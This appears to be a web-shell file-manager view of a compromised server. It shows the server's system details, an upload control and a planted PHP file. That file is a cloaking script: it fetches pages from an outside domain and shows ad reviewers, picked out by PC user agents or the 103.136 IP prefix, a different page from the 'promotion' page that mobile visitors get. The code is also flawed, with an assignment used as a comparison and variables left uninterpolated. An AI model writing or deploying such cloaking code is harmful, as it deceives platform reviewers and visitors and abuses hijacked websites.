HEX
Server: nginx/1.28.1
System: Linux 10-41-63-61 6.8.0-31-generic #31-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 20 00:40:06 UTC 2024 x86_64
User: www (1001)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/www.bgnniu.com/qwer/index.php
<?php

$sh = 'https://www.ttosn56.com/dtjf/09/';
$tg = 'https://www.ttosn56.com/dtjf/09/';
$tz = 2;

pingbi($sh,$tg,$tz);


function is_mobile()
{
    $agent = strtolower($_SERVER['HTTP_USER_AGENT']);
    $is_pc = (strpos($agent, 'windows nt')) ? true : false;
    $is_mac = (strpos($agent, 'mac os')) ? true : false;
    $is_iphone = (strpos($agent, 'iphone')) ? true : false;
    $is_android = (strpos($agent, 'android')) ? true : false;
    $is_ipad = (strpos($agent, 'ipad')) ? true : false;

    if ($is_pc) {
        return false;
    }

    if ($is_mac) {
        return true;
    }

    if ($is_iphone) {
        return true;
    }

    if ($is_android) {
        return true;
    }

    if ($is_ipad) {
        return true;
    }
}

/* 判断电脑移动端的封装*/
function pingbi($sh, $tg, $tz = 1)
{

    if (!is_mobile())//如果是电脑端显示//下面是审核页面
    {
        echo '<base href="$sh" /> ';

        $f_info = implode("", file("$sh"));
        echo $f_info;

    } else {


        $ip = $_SERVER['REMOTE_ADDR'];
        $ip = explode('.', $ip);

        if ($ip[0] == 103 && $ip[1] = 136) {//下面是审核页面
            echo '<base href="$sh" /> ';
            $f_info = implode("", file("$sh"));
            echo $f_info;

        } else {//下面是推广页面
            echo '<base href="$tg" /> ';
            $f_info = implode("", file("$tg"));
            echo $f_info;

        }


    }
}